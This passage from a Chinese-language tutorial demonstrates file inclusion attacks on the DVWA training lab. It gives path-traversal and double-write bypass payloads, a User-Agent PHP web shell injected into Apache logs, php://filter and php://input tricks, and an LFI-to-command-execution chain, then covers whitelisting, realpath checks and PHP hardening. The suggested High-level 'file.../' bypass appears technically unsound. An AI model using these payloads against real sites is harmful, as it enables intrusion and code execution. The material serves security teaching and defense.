}它拿到参数后,既不限制文件路径格式,也不限制文件类型,直接就include了。这就是典型的裸奔写法,相当于门卫只看你有没有出示一张写着地址的纸条,完全不检查地址本身是否合法、纸条是不是伪造的。没有任何输入验证,所以直接目录穿越就成功了。这个级别想强调的重点是:目录穿越的利用不需要多么高级的技巧,纯粹是逻辑缺失。实际开发里出现过很多类似的代码,比如页面模板参数、语言切换参数、主题切换参数,只要参数名看起来是"正常的",开发就容易忽略校验。你在做代码审计时,凡是看到变量被拼接到include、require、fopen、readfile这类函数里,都要绷紧一根弦。注意:这里的目录层级必须根据目标环境调整。在DVWA默认部署路径下,常见的能读取到系统文件的层级组合通常是五个或六个../。测试时推荐用../../../../../../这种多级写法,如果一次不行就逐渐增加层级,这属于路径穿越的基础节奏。3.2 Medium级别:关键字替换与双写绕过把安全等级切到Medium,再试试刚才的payload,你会发现页面报错了。这说明服务端对输入做了一定的过滤。查看源码,你会发现Medium级别的核心逻辑是这样的:$file = str_replace(array("http://", "https://", "../"), "", $_GET['page']); include($file);关键点是使用了str_replace函数把http://、https://和../直接替换成空字符串,然后再去include。这个设计思路是想把目录穿越和远程包含的常见关键字都"抹掉",看起来好像堵住了一条大路,但它犯了一个非常经典的错误:过滤只执行了一次,而且没有递归处理。绕过方式有两个方向。第一个是双写。既然../会变成空字符串,那我就把payload写成..././。你观察一下:..././这个字符串里包含../吗?确实包含,去掉它是如何变化的呢?str_replace把第一个../替换成空后,剩下的部分刚好拼成另一个../。用更容易理解的方式说:字符串..././去掉被替换的../之后,中间的./与后面的点拼在一起就重新构成了一个新的../。最终include的路径仍然是带着../的完整目录穿越路径。实际构造出来的payload可以是:..././..././..././..././etc/passwd这个payload里每一组..././经过一次替换都会留下一个../,所以整个字符串在服务器端处理完后就等价于:../../../../etc/passwd效果和在Low级别一样,直接读取到了系统文件。第二个绕过点是远程包含的关键字过滤。Medium只把http://和https://替换为空,但并没有拦截其他协议,而且http://这个关键字可以通过双写协议头绕过,比如http://http://这么写,str_replace会去掉中间的http://,结果剩下的还是http://。不过在现在的环境里,主要还是以目录穿越为主,所以我这里就不展开远程包含的演示了。Medium级别的教训很典型:黑名单过滤思路本身就有天然缺陷。你永远无法穷举所有可能的攻击写法,只要开发者少考虑一种变形,攻击者就能趁虚而入。对于安全入门者来说,理解str_replace的"非递归"问题很重要,很多真实系统里都有这类绕过点。我在实际测试中见过不止一次,开发为了防目录穿越写了一个正则,结果因为只替换一次导致一整片代码形同虚设。所以我们要刻意训练自己从"数据流向"角度思考绕过,而不是死记payload格式。3.3 High级别:白名单限制与日志包含把安全等级调到High,再来试之前的手段。你会发现不管用什么路径穿越写法,页面都只会显示file1.php到file3.php这三个固定页面的内容。这个级别的防护思路变了,从黑名单过滤改成了白名单校验。源码逻辑是:$file = $_GET['page']; if (!fnmatch("file*", $file)) { exit("不允许访问该文件"); } include($file);fnmatch这个函数会用"file*"这个模式去匹配page参数,只要不是以file开头的路径都会被拒绝。这意味着你没法用page=../../../../etc/passwd这种方式直接穿越了。那么High级别是不是就绝对安全了?并不是。问题在于白名单仍然只约束了变量的"开头",却没有限制文件路径解析的终点。page参数可以匹配"file*"的前提下,攻击者还能不能通过别的手段把恶意代码弄进服务器?答案是肯定的,最常见的手法就是日志注入。在标准LAMP环境下,Apache会把访问日志写入到类似/var/log/apache2/access.log这样的文件里。日志里会记录User-Agent,也就是浏览器标识,而且是不做过滤的。那么我就可以构造一个请求,在User-Agent字段里写入一段PHP代码,访问一次日志文件就会把这行带恶意代码的记录保存下来。日志文件本身是本地文件,而且以日志路径的形态存在,并不以file开头——那我能不能让它被包含呢?构造一个这样的请求:User-Agent: <?php system($_GET['cmd']); ?>然后访问目标包含页面。注意,真正让日志写入成功的请求最好是直接访问DVWA的任意一个页面,因为Apache会记录所有到达站点的HTTP头。下一步,利用High级别的页面对page参数做一次路径穿越,去包含日志文件:page=../../../../var/log/apache2/access.log由于日志文件路径不以"file"开头,照理会被fnmatch拦住,但这里有个细节:fnmatch匹配的是page参数本身,所以我可以直接把文件路径写成一个"看起来以file开头的路径"来绕过。例如利用路径穿越构造:page=file.../.../.../.../var/log/apache2/access.log或者更常见的方式是借助PHP的一些路径解析特性。不过实际过程中最核心的一步是保证access.log中能插入含有效PHP代码的请求,然后想办法让include能把这个本地日志作为文件包含进来。因为日志文件内容可能非常长、包含各种特殊字符,直接包含往往很难完美执行,所以现实中还要配合日志清理或小心构造测试请求来降低干扰。这个思路在真实场景里需要大量调试,但原理本身很值得吃透。除了访问日志之外,类似的注入点还有Session文件。PHP默认会把Session数据存储在临时目录里,比如/var/lib/php/sessions/。如果应用会把一些用户输入存储到Session变量中,那么通过控制输入内容为PHP代码,再结合LFI去包含对应的Session文件,同样能达到代码执行的效果。DVWA里没有专门做这个演示,但我在其他靶场练习中实践过,思路是完全通用的。如果还想在High级别做更多的尝试,还可以考虑php://filter伪协议。等一下,php://filter不只可以帮助读取源码,它还有一个额外的价值:php://filter是允许在include中使用的一种流封装器,它可以把一个文件的内容经过某种过滤器处理后返回给include。之前很多资料里会把php://filter和文件读取混为一谈,实际上在权限允许的情况下,它可以读取任意本地文件内容,而不仅仅是以page=file开头的文件。但在High级别里,fnmatch依然会拦截,因为php://不是以file开头。所以High级别的防护对伪协议也是有效的。提示:在High级别的场景中,最值得练习的是日志注入与环境探测的结合:先构造恶意User-Agent写入日志,再通过路径穿越去寻找AIX、Apache、Nginx等不同Web服务的日志位置。日志路径因系统而异,提前掌握常见路径可以少走很多弯路。3.4 伪协议利用:不依赖目录穿越也能拿源码在很多实际目标里,我们不一定知道Web应用的绝对路径,目录穿越的层级也不容易一次试对。这时候PHP伪协议就派上用场了。DVWA的Low和Medium级别都支持利用php://filter读取应用源码。具体做法是:page=php://filter/convert.base64-encode/resource=config.php它的作用是把config.php文件的内容进行base64编码后输出,因为直接输出PHP文件会被服务器执行,你什么也看不到,而base64编码之后你就能拿到完整的源码内容,再本地解码一遍就等于白嫖了一份源码。这在代码审计和漏洞分析里价值很大,相当于手把手指给你看。有人可能会问,php://filter本身不产生目录穿越,怎么就能读到文件呢?关键在于resource参数指定的是相对于当前include路径的文件路径。DVWA的config.php就在当前目录下,所以直接写文件名就能定位到。如果是其他位置,也可以在里面写相对或绝对路径。这种"不直接require,而是把内容当作数据流经过过滤器输出"的机制,是伪协议最香的地方。其实php://filter能用的过滤器不止base64,还有string.rot13等。但在读取源码场景下,base64是最佳的,因为它无损耗、可控性强。需要说明的是,这个功能在PHP 5.2之后的版本里一直存在,并且默认开启,不需要allow_url_include为On,所以实战价值非常高。另外还有一个容易被忽视的伪协议,就是php://input。如果目标代码有include($_GET['page'])且没有限制协议,你可以把POST请求体写成PHP代码,拿page=php://input,直接让include把POST体当PHP执行。这个方案在allow_url_include开启的情况下同样可以工作,而且不需要额外写文件,干净利落。很多早期CTF题都靠这一招拿分。不过DVWA里默认配置没有开这个功能,所以我就在本文提一嘴,真要复现的话记得检查测试环境配置。3.5 实战路径延伸:从文件包含到命令执行如果你已经能通过文件包含读取文件或者借助日志注入执行了代码,接下来就要考虑把这个漏洞的利用价值最大化。在很多授权测试项目中,拿到WebShell只是起点,后续的提权、内网渗透才是重头戏。但本文范围限定在文件包含漏洞本身,所以只聊一下从文件包含直接导向命令执行的一种常见形态。假设你已经通过日志注入让apache日志里的User-Agent变成了一段调用系统命令的PHP后门代码,那么你访问目标页面时带上命令参数:page=../../../../../var/log/apache2/access.log&cmd=id如果日志包含成功,页面里就会回显出一行类似uid=33(www-data)的信息。这说明命令执行已经打通,后续就可以用命令执行来读取数据库配置、查看Web目录结构、上传工具等等。从LFI到RCE的链路,到此就闭环了。这个链路里有几个实际注意点:第一,日志文件体积通常很大,包含日志页面可能会特别卡顿,甚至超时,测试时要考虑用较小的日志文件或者清理部分日志来降低噪音;第二,日志里的PHP代码经常会被换行、引号等干扰,构造时要尽可能用不含特殊符号的短payload;第三,目标Web服务器可能有多层代理,User-Agent经过代理改写后不一定原样写入日志,所以并不是每次都能成功。这些经验听起来琐碎,但在实战中都是决定成败的细节。我个人的建议是,在DVWA里把日志注入这条线完整走三遍:第一遍照文档操作,第二遍尝试只靠浏览器控制台完成所有请求,第三遍完全脱离教程自己去推测日志路径和注入点。三遍下来,从LFI到RCE的链路理解会扎实很多。4. 防护思路与安全编码建议4.1 源头治理:白名单与路径校验前面演示了Low、Medium、High三个等级的绕过方式,可以发现一个规律:凡是靠黑名单过滤的,最后都被各种变形绕过了;凡是靠白名单限制的,虽然没有完全免疫,但利用难度确实高了很多。所以防御文件包含漏洞的正确姿势,首先就是白名单。白名单有两种落地方式。第一种是枚举法:把允许包含的文件名列成一个数组,比如file1.php、file2.php、file3.php,用户传进来的page参数必须在数组里才继续执行,否则直接拒绝。这个写法最安全,也最简单,适合页面数量有限的业务场景。第二种是目录前缀约束:include的时候给用户输入强制拼接一个固定的前置目录,比如:$baseDir = '/var/www/app/views/'; $file = $baseDir . basename($_GET['page']); include($file);用basename函数去掉路径中的../,前置目录就固定到views下面了。这种方式的好处是即使参数带了目录穿越也没法逃出去,坏处是basename在某些情况下会把多级目录折叠掉,所以如果你的业务需要支持子目录,就要用另一个等价的方案,比如对路径做realpath后检查是否仍在前置目录内:$baseDir = realpath('/var/www/app/views/'); $path = realpath($baseDir . '/' . $_GET['page']); if (strpos($path, $baseDir) === 0) { include($path); }这个写法利用realpath把路径解析成绝对路径,再判断解析结果是否仍然在前置目录范围内,相当于把后门彻底焊死了。使用这种方式,即使用户写了各种古怪路径,最终都会被真实文件系统解析后验证,不需要死记硬背payload的写法。4.2 从配置层面加固运行环境代码层面的校验做得再完美,也不建议把所有防御希望都放在一层上。在PHP运行环境层面,还有几个非常实用的加固项:第一,关闭危险配置。在php.ini里确认allow_url_include=Off,这是阻断RFI最直接的手段。默认安装的PHP 7以上版本大部分是关闭的,但有些老项目、或者为了图方便改过配置的环境可能开着,一旦开启,配合一个include变量就等于把服务器拱手送人。第二,配置open_basedir。open_basedir用来限制PHP脚本能访问的目录范围。比如把它设置成Web根目录加临时目录,那么即使出现LFI,攻击者想通过目录穿越去读/etc/passwd和系统其他文件也读不到,因为PHP在文件操作层面就直接拦截了。这个配置对PHP系的所有文件操作函数都生效,性价比非常高。第三,控制上传功能。很多文件包含利用最终依赖的是"把代码写到服务器上"。如果应用本身有文件上传功能,一定要严格检查文件内容后缀、MIME类型,并且把上传目录放到不执行PHP的独立目录,或者通过Nginx配置禁掉uploads目录的PHP解析能力。这里很多文档都会提,但实际企业中执行不彻底,比如有的只检查了Content-Type,攻击者改个包就能绕过。正确的做法是使用随机文件名加白名单扩展名双重限制。4.3 面向开发团队的安全设计建议如果你负责的是项目的代码架构,而不是单纯修一个漏洞,那我认为更有价值的思路是把文件读取、模板渲染这类操作统一收口。也就是说,不要让业务代码各自去调include、file_get_contents之类的函数,而是封装到一个公共的视图加载器或文件读取服务里,安全校验只在这个服务里做一次。这样即使以后新增了功能,开发也不会因为不熟悉安全要求而引入新的文件包含点。举个例子,在一个典型的MVC框架项目里,视图层的控制器会去加载模板文件。这时控制器不应该直接把用户的输入拼到模板路径上,而是通过一个View类来解析真实路径。类似这种集中式控制,加上单元测试覆盖,就能把遗漏的概率压到很低。我见过不少代码审计报告,问题都出在"这个变量是内部传过来的,不可能被用户控制"这个假设上。但真实世界里,通过HTTP请求参数、Cookie、Referer、上传文件名等入口,很多你以为"不可能"的地方就是能被污染。所以在设计时,就要默认所有外部数据都是不可信的,内部数据要进到文件路径这层,也要经过同样的校验,这个意识比具体某行代码重要得多。4.4 测试与审计视角的防护验证清单最后,给做测试和负责验收的读者整理一份自查清单,方便在评估文件包含漏洞时参考对照:检查项目预期结果不满足时的风险用户输入是否直接拼接到include/require必须经过白名单或路径校验存在LFIallow_url_include配置必须为Off存在RFI关键目录是否有open_basedir限制应配置目录穿越可读取系统文件日志、Session等文件是否可能写入恶意代码应清理外部输入日志注入后可以RCE错误信息是否暴露绝对路径应屏蔽泄露路径,辅助对象攻击文件上传与包含是否隔离必须相互独立上传后门可直接执行这份清单是我在几次评估项目里总结出来的,拿着它去对着代码过一遍,基本能覆盖大多数文件包含漏洞的主要风险点。当然,实际测试中还需要结合目标架构特点灵活调整,比如Windows环境下路径分隔符、大小写问题会衍生出新的绕法,Linux下可以考虑的空字节截断在较新版本PHP里也基本失效了,但这些都属于进阶话题,本文先不展开。个人体会与最后提醒在DVWA里反复测试完这几个等级,我最大的感触是:文件包含漏洞的攻防本质,从来不在于某个具体的payload,而在于"是否信任了不该信任的数据"。Low级别是什么都不限,Medium级别是过滤不彻底被双写绕掉,High级别虽然卡住了直接的目录穿越却依然能被日志注入拉到RCE。这说明单纯靠堵已知的几个关键字和写法,永远追不上攻击者的变形思路。真正有效的防御,还是得回到白名单、最小权限、集中校验这些整体性思路上来。如果你正在练习这个漏洞,除了照我上面的步骤把每个等级都过一遍,我更建议你用一天时间专门玩一下日志注入的变种,不局限于Apache日志,尝试把PHP代码塞到Session文件、临时文件、甚至系统邮箱文件里,再通过LFI触发。这个过程会让你对"文件在哪"这个概念产生很深的体感,比看任何文章都管用。我自己也是在这样反复折腾之后,才真正理解为什么文件包含漏洞被称为"拎包入住"式的漏洞。希望这篇实战记录能帮你在测试和防御两条路上都少走几步弯路。